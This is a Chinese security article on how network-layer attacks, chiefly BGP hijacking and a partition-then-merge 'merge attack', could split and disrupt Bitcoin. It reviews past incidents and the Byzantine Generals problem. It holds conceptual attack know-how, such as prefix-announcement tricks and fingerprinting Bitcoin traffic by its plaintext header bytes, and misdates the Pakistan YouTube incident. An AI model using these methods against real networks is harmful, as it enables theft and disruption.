在故障期间,中国境内的算力形成一个链,境外的算力形成另外一条链。按照共识机制,就看哪条链的长度更长,而长度较短的另一链会被淘汰,即这条被淘汰的支链上产生的所有交易需要重新核算,同时记账奖励将被作废。
17点40,故障后2个小时,光纤故障排除,国际出口复通。
由于中国国内的算力占比高达70%,国外链毫无意外会被淘汰,在故障发生的两个多小时,境外矿场的算力成果被销毁了,海外所有的比特币交易面临重新核算,整个比特币上的商业活动被瘫痪。
大规模通讯中断会将比特币网络撕裂为算力悬殊的两个分支,那么最优的策略是故障发生那刻起,整个比特币网络立即停摆,直到故障修复。否则如果保持隔离状态继续运行,复通合并时就会出现更棘手的瘫痪。
比特币对此也有一些防御措施,为防止支链的干扰造成损失,比特币一笔交易至少需要6个区块的确认,一个区块时间是10分钟,6个区块就是一小时。假如故障导致的网络隔断超过一小时,就会给交易带来冲击,隔断时间越长冲击越大。
人们对比特币容灾能力的讨论,更多地关注于分布式的多节点存储备份,忽略了共识机制本身造成的隔离和吞没效应。
这样的想法并非是不可能的,就在 2018年3 月30日,非洲国家毛里塔尼亚由于海底电缆被切断,造成全国范围内彻底断网时间长达 2 天,该起事件还同时影响数个周边国家,断网噩梦首次在现实中上演,说明全球范围内的网络基础设施并非人们想象的安全。
实际上,全球大约97%以上的网络数据均是通过海底电缆传输,但各国出于军事目的而进行的海底电缆附近活动并不在少数。2013年,有3名潜水员在埃及被捕,他们被指控为涉嫌切断海底电缆。
而在军事战略家的理论中,全面切断海底电缆,影响该国军事通信能力,对敌方造成经济损失和瘫痪性灾难,也不失为一种重要的备选打击手段。
并且,能让比特币陷入瘫痪的可能还不止拔网线这一种。
下面我们来发散一些可以影响比特币网络的可能:
- 大规模的黑客攻击行动,控制主干网络设备的路由策略,发动BGP攻击。
- 网络设备商的后门权限。针对核心路由器0day漏洞的蠕虫病毒在传播过程中,有意或无意地封闭了国际出口。
- 电信运营商的国际出口通讯故障。
- 国家防火墙的限制和阻断。
以上场景中,发动者都可以是体系外的成员,并且不需要耗费大量硬件和电力资源投入,只需要控制网络层就可以轻松实现。这就暴露出比特币和所有加密货币最致命的缺陷:网络层天然高度中心化。
被忽略的默认前提:信道安全
区块链的底层是P2P网络通信技术,区块链本质上是一个基于P2P的价值传输协议。
比特币采用了基于国际互联网(Internet)的P2P(peer-to-peer)网络架构。P2P是指位于同一网络中的每台计算机都彼此对等,各个节点共同提供网络服务,不存在任何“特殊”节点。每个网络节点以“扁平(flat)”的拓扑结构相互连通。在P2P网络中不存在任何服务端(server)、中央化的服务、以及层级结构。
P2P网络的节点之间交互运作、协同处理:每个节点在对外提供服务的同时也使用网络中其他节点所提供的服务。
早期的国际互联网就是P2P网络架构的一个典型用例:IP网络中的各个节点完全平等。当今的互联网架构具有分层架构,但是IP协议仍然保留了扁平拓扑的结构。在比特币之外,规模最大也最成功的P2P技术应用是在文件分享领域:Napster是该领域的先锋,BitTorrent是其架构的最新演变。
“比特币网络”是按照比特币P2P协议运行的一系列节点的集合。除了比特币P2P协议之外,比特币网络中也包含其他协议。例如Stratum协议就被应用于挖矿、以及轻量级或移动端比特币钱包之中。网关(gateway)路由服务器提供这些协议,使用比特币P2P协议接入比特币网络,并把网络拓展到运行其他协议的各个节点。
例如,Stratum服务器通过Stratum协议将所有的Stratum挖矿节点连接至比特币主网络、并将Stratum协议桥接(bridge)至比特币P2P协议之上。我们使用“扩展比特币网络(extended bitcoin network)”指代所有包含比特币P2P协议、矿池挖矿协议、Stratum协议以及其他连接比特币系统组件相关协议的整体网络结构。
运行比特币P2P协议的比特币主网络由大约7000-10000个运行着不同版本比特币核心客户端(Bitcoin Core)的监听节点、以及几百个运行着各类比特币P2P协议的应用(例如BitcoinJ、Libbitcoin、btcd等)的节点组成。比特币P2P网络中的一小部分节点也是挖矿节点,它们竞争挖矿、验证交易、并创建新的区块。
比特节点通常采用TCP协议、使用8333端口(该端口号通常是比特币所使用的,除8333端口外也可以指定使用其他端口)与已知的对等节点建立连接。
P2P网络只是为所有节点提供了信息交换的方式,做事的还是共识算法和加密算法。但接收方必须信任,数据区块的传送过程中没有被任何中间方改变破坏。这实际上需要一个“信道安全”的前提保证(这是中本聪没有明确提出,又默认必须的条件):
- 我们信任区块链软件,相信它在运行中不受破坏,而传输的是非伪造的数据。
- 我们信任运行区块链软件的运行系统,它在运行中不受破坏,而传输的是非伪造的数据;
- 我们信任为系统提供网络的中央处理机,相信它不受破坏,而传输的是非伪造的数据。
这种信任,基于“网络中立化”而产生。然而,互联网的传输和承载网建设,属于高度资本性投资。因此,所有的互联网基础建设,均来自通讯企业高额投资,而互联网服务,均由各大ISP及其分销商提供。
这便带来了一个相对矛盾的问题:“去中心化”的分布式系统,承载于中心化的互联网服务之上,但却并未被广泛意识到,这种天然的高度中心化的底层传输网络,对“去中心化”的互联网产品有着轻而易举的打击实力和控制能力。
从比特币的协议细节便可看出,其对传输层的攻击并未充分防范。比特币的传输协议报头都是明文,且规律恒定,其报文开头4个字节就是0xF9BEB4D9。相信中本聪在设计协议时,将大部分精力都集中在交易过程的密码学设计上。因为对区块链而言,传输数据是否加密,并不影响交易本身的有效性:中间人即使窃取了报文,亦无法让篡改后的交易数据被其他节点接纳。
但这种高度自信、过分依赖于信道安全性的协议,在网络底层发动的攻击中,便显得格外脆弱。愈合攻击便是一种足以瓦解比特币信仰的攻击手段。
愈合攻击Merge attack
愈合攻击,简而言之,是先通过“撕裂”,将区块链网络隔离成能超过“共识阈值”(比如POW的51%)的两个独立链条,然后间隔一定时间(超过交易确认时间)后,让两个链条“愈合”,利用合并对冲来强制抛弃其中一条已有大量交易的链条。
愈合攻击实际上是分区攻击(Partition attack)+延迟攻击(Delay attack)的连续组合攻击手段,其破坏力远超DDos攻击和IP封堵。
针对节点、矿工的DDos、封堵ip地址等攻击方式,其影响力是短暂的。
无论对任何IP地址发动DDos攻击,被攻击者都是有感知的,因为节点和矿工将立即意识到,自己无法和任何人通信。被攻击者很快可以切换IP的方式应对。攻击对整个区块链网络造成的破坏并不明显,因为节点在切换IP后,仍得以与其他节点进行通信,确保了交易确认,不会导致区块链网络带来毁灭性影响。
愈合攻击直接撕裂网络,形成两个大局域网。
两个网内的节点均可以相互通信,并无断网感知,也就无从采取防范措施。它利用网络层,在愈合的一刻使“共识机制”崩溃:假如节点全部遵守“Code is Law”,则必然出现分链被吞没;不遵守代码约定,则需人为分叉,进而颠覆信仰。更致命的是,愈合攻击可以高效率地反复进行,分治对冲,比特币网络就就会瘫痪。
愈合攻击并不仅针对比特币网络有效,对于以太坊等加密数字货币,同样有着威胁,尽管以太坊在通讯协议上进行了一定程度的加密,但这仅仅是为了保护智能合约的安全,并不是以消除通讯协议的识别特征为目标的加密。
只要根据其网络通讯中长链接、冗余心跳机制等数据和行为特性,攻击者仍然可以精准打击,通过隔离网络,发动愈合攻击。
因此,无论是哪种数字货币,只要没有在通讯底层从数据和行为上抹去特征,这种打击就仍然有效。近年来广受炒作的山寨币,包括莱特币、门罗币、比特币现金、量子链等则更不能幸免。
进一步来看,所有的共识算法,包括PoW、PoS、DPoS,都需要保证传输无干扰。因为分布式系统的共识算法本质上都是在信道安全的前提下,解决一致性和正确性问题。而网络信道安全前提一旦不成立,共识算法保障的“一致性”和“正确性”将瓦解。
BGP劫持
愈合攻击是瓦解区块链的技术手段,实施愈合攻击,最常用的是BGP劫持。
什么是BGP劫持呢?
正常的矿机与矿池的通讯应该包括这几个步骤:
矿机 -> 网络运营商A -> 网络运营商B -> 网络运营商… -> 矿池
由于比特币矿池的跨地域性,在矿机和矿池之间的网络运营商(ISP)可能有数个作为跳转。这是极不安全的,任何一个环节的都有可能被黑客通过边界网关协议(BGP)劫持。
边界网关协议(BGP)是因特网的关键组成部分,用于确定路由路径。BGP劫持,即利用BGP操纵因特网路由路径。无论是网络犯罪分子还是国家防火墙,都可以利用这种技术来达到自己的目的,如误导和拦截流量等。
BGP是一种网络协议,用于交换因特网上各网络之间的路由信息。一般情况下,它用来确定在独立运营的网络或自治系统之间路由数据的最佳路径。 因此,它也常常用来寻找从ISP到ISP路由数据的路径。需要注意的是,BGP不是用来传输数据的,而是用来确定最高效的路由路径的。 实际的传输工作,是由其他协议来完成的,例如TCP/IP协议栈。
现在,假设我需要发送数据到世界的另一端。最终,这些数据肯定会离开我的ISP所控制的网络,因此,必然就会用到BGP。当然,路由路径是无法通过单独一个自治系统来决定的,这需要其他的BGP对等端或邻居的参与才行。这些对等端是些已经通过手工配置为共享路由信息的自治系统。
当自治系统学习新路由的时候,这些信息就会进一步传播到其他对等端。通过梳理从BGP对等端收集来的路由信息,处理这些数据的路由器就能够找出最佳路径。这些最佳路径是参考多种因素综合得出的,包括距离以及路由器管理员实现的配置设置等。
由于传播路由的对等端是手工配置的,因此有必要入侵一台边界路由器来广播外部BGP通告,从而实现因特网级别的BGP劫持。尽管这做起来非常困难,但是BGP劫持攻击确实已经出现在现实世界之中了。
因为BGP决定了数据从源端到目的地端的传输方式,所以,必须要关注该协议的安全性。通过操纵BGP,攻击者可以按照自己的意愿来修改数据的传输路线,从而达到拦截或者修改数据的目的。为了劫持因特网级别的BGP,需要配置一个边界路由器,让它发送含有未分配给它的前缀的通告。
如果恶意通告比合法通告还要具体,或者声称提供更短的路径,那么流量就可能被定向到攻击者那里去。攻击者经常利用弃用的前缀来进行劫持,以免引起合法属主的关注。通过广播含有虚假前缀的通告,受攻击的路由器可能会污染其他路由器的路由信息库。在污染了其他路由器之后,恶意路由信息可能会进一步传播到别的路由器中,或自治系统,甚至主干因特网上。
最近几年来,已经有多起BGP劫持攻击被记录在案。
比较著名的就是13年巴基斯坦屏蔽Youtube的事件。由于巴基斯坦电信部门错误地把屏蔽youtube加到了BGP上,导致该协议上的所有AS都被屏蔽了。换句话说,全世界其他所有国家的人都无法上Youtube了,因为数据包都涌向巴基斯坦了,而巴基斯坦恰恰屏蔽了Youtube。
在Renesys记载的案例中,2013年BGP劫持技术曾经用来重新路由数据,使其在到达目的地之前,先经过任意指定的国家。其中,一个攻击案例中的数据流量,在到达起目的地之前,竟然先绕道墨西哥至美国,然后转至白俄罗斯。通过散布虚假BGP广播,白俄罗斯的ISP成功将非法路由传播到了因特网上。
在这个案例中,很可能是一种公司或国家间谍行为。不过,有迹象说明,即使非国家级别的对手,照样也能够发动BGP劫持攻击。
2014年Dell SecureWorks分析的一个案例中,BGP劫持被用来拦截比特币矿机到采矿池服务器的链接。通过将流量重路由至攻击者控制的矿池,攻击者就能够窃取受害者的比特币。这次攻击在两月内收集到了价值$83,000的比特币。
在2015年7月,监视软件供应商Hacking Team被黑,泄露的内部邮件表明,在2013年,意大利政府曾经与Hacking Team有关合作,同时,意大利的一家ISP也购买过该公司的BGP劫持服务。由于托管Hacking Team指令控制服务器的IP被阻断之后,该服务器已经离线,因此该恶意软件与指令控制服务器的连接也一直保持不可达状态。通过公布托管该指令控制服务器的虚假IP前缀,Hacking Team竟然又恢复了对受害者机器的访问能力。
这是第一个记载在册的西方国家政府使用BGP劫持的案例。
“拜占庭将军问题”&“两军问题”
比特币是分布式系统一次空前的社会实验,也被称为解决”拜占庭将军“问题的成功实例。在此强烈建议大家百度或者维基一下“拜占庭将军”和“两军问题”这两个理论的原型。
拜占庭将军问题是2013年图灵奖得主Leslie Lamport在1980年的论文The Byzantine Generals Problem中提出的分布式领域的容错问题,这是分布式领域最复杂、最严格的容错模型。Lamport是分布式系统的祖师爷级的大师,这个故事也广为流传:
拜占庭位于如今的土耳其的伊斯坦布尔,是东罗马帝国的首都。由于当时拜占庭罗马帝国国土辽阔,为了防御目的,因此每个军队都分隔很远,将军与将军之间只能靠信差传消息。 在战争的时候,拜占庭军队内所有将军和副官必需达成一致的共识,决定是否有赢的机会才去攻打敌人的阵营。但是,在军队内有可能存有叛徒和敌军的间谍,左右将军们的决定又扰乱整体军队的秩序。在进行共识时,结果并不代表大多数人的意见。这时候,在已知有成员谋反的情况下,其余忠诚的将军在不受叛徒的影响下如何达成一致的协议,拜占庭问题就此形成。
拜占庭将军问题不去考虑信差是否会被截获或无法传递信息等问题。Lamport已经证明,在存在消息丢失的不可靠信道上试图通过消息传递的方式达到一致性是不可能的。
另一个比“拜占庭将军问题”更基础,更广为人知的是“两军问题”Two Generals’Problem:
两支军队,分别由两个将军领导,正在准备攻击一个坚固的城市。两支军队都驻扎在城市旁边的两个不同的山谷里。两军之间隔着第三个山谷,两个将军想要通讯的唯一方法就是穿过第三个山谷传送信件。问题是,第三个山谷被城市的守卫敌军占据,并且经此传送的信件可能会被守卫敌军截获。虽然两个将军商量好要同时对城市发起攻击,但是他们没有约定特定的攻击时间。为了保证取胜,他们必须同时发起攻击,否则任何单独发起攻击的军队都有可能全军覆没。他们必须互相通信来决定一个同时攻击时间,并且同意在那个时间发起攻击。两个将军彼此之间要知道另一个将军知道自己同意了作战计划。
两军问题是阐述在一个不可靠的通信链路上试图通过通信以达成一致是存在缺陷的和困难的,这个问题经常出现在计算机网络入门课程中,用于阐释TCP协议不能保证通信两端状态的一致性。不过两军问题同样适用于任何有可能通信失败情况下的两点通信。
对比两个故事,我们会发现两军问题和拜占庭将军问题有一定的相似性,但必须注意的是,信差得经过敌人的山谷,在这过程中他可能被捕,也就是说,两军问题中信道是不可靠的,并且其中没有叛徒之说,这就是两军问题和拜占庭将军问题的根本性不同。
两军问题是在计算机通信领域首个被证明无解的问题,由此也可推论出,信道不可靠条件下的“拜占庭将军问题”也同样无解。
这意味着我们传输信息时仍然可能出现丢失、监听或篡改的情况。也许只有未来的“量子通讯”可能解决加密通信的问题。
搁置各种加密货币共识算法的优劣争论,我们必须看到本质问题,是共识算法离不开信道安全前提。
比特币在理论上的缺陷,就是出在网络通讯层的安全上。人们过高的着迷于区块链这种技术在时间戳签名、哈希链等密码学上的贡献,而忽略了其作为分布式系统的网络层安全。事实上这种技术还在早期阶段,尽管十年来比特币曾被上百次的预言死亡而仍健在,但作为科学和技术的本体,是更不应被盲目迷信的。
如果将这个世界看做一层一层协议,底下一层协议将控制和影响上一层。比特币作为应用层,必然被下一层网络层所控制。
网络层代表着提供网络服务的运营商,深究下去是一整个社会架构,直接受到现实世界的金融和法律影响,而这个世界的最终的协议,即最终控制者其实是政治层。
非国家化加密货币,底层仍是掌握在国家的网络设施中。
这事实看起来未免有些悲观,但从另一个维度来看,区块链也是需要运维的。
虽然这个观点与追求“维持开放、无需权限和分布式”的理念似乎有点格格不入。但当千百亿资本涌入那些加密货币,专业的攻击者也会盯上这片“无主之地”。行业若想得到发展与保护,更应该呼吁和推动政府部门尽快出台相关法律法规和监管政策,规范、保护并约束一个良好的生态环境。
via:https://www.secpulse.com/archives/71023.html